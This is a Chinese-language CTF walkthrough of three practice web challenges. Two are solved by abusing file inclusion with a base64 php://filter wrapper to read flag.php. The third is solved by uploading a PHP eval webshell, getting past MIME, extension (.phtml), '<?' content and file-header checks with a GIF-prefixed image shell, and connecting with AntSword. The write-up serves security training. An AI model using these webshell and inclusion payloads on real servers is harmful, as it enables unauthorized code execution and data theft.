目录
[ACTF2020 新生赛]Include
刚进题目发现一个链接,名称为tip。点入链接挑战到新的页面。
页面显示“Can you find out the flag?",并且发现使用了文件包含?file=flag.php。
考虑有部分内容被注释掉而无法显示在页面上。
使用php伪协议将文件内容使用base64编码后输出
?file=php://filter/read=convert.base64-encode/resource=flag.php
进行解码
得到了被注释掉的flag
[极客大挑战 2019]Secret File
一点进去显示出一个诡异的页面。
页面上没有什么信息,F12打开开发者模式看一下页面源文件。
看到了./Archive_room.php的文件路径,直接去访问。
得到如上页面,有链接SECRET链接到action.php文件,直接访问。
访问之后居然直接跳转到了end.php文件,考虑使用burpsuite抓包,再使用repeater模块。
得到了文件名为secr3t.php。直接访问。
回显了如上页面,显然上面这段代码说明了当前的文件使用了include函数,可以去执行文件包含,并且明确告知了我们需要访问flag.php。strstr函数对我们的查询没有过滤,直接文件包含。
/secr3t.php?file=flag.php
回显了如上页面,并未显示出flag,那我我们使用老方法,用php伪协议将文件内容base64编码输出。
得到编码,页面显示不下,F12查看全部内容直接解码。
得到flag。
[极客大挑战 2019]Upload
写马
<?php @eval($_REQUEST["cmd"]);?>
直接尝试上传hack.php。
回显不是图片类型,直接上bp
尝试MIME绕过,image/jpeg
回显
可能对文件扩展名也有过滤,修改为hack.phtml。(php3,php4,php5和phtml都会将文件当作PHP解析)
回显
看来对文件内容也存在过滤。我们用jsp语法绕过对'<?'的检测
<script language="php">@eval($_REQUEST["cmd"])</script>
回显如上,猜测还有可能对文件头有过滤,我们尝试修改一下文件头,做一个图片马。
可以使用010editor进行操作。或者也可以在文件前端加上“GIF81a”去绕过对文件头的过滤。
访问目录/upload/hack.phtml。
发现文件成功被解析。直接上蚁剑
成功找到flag。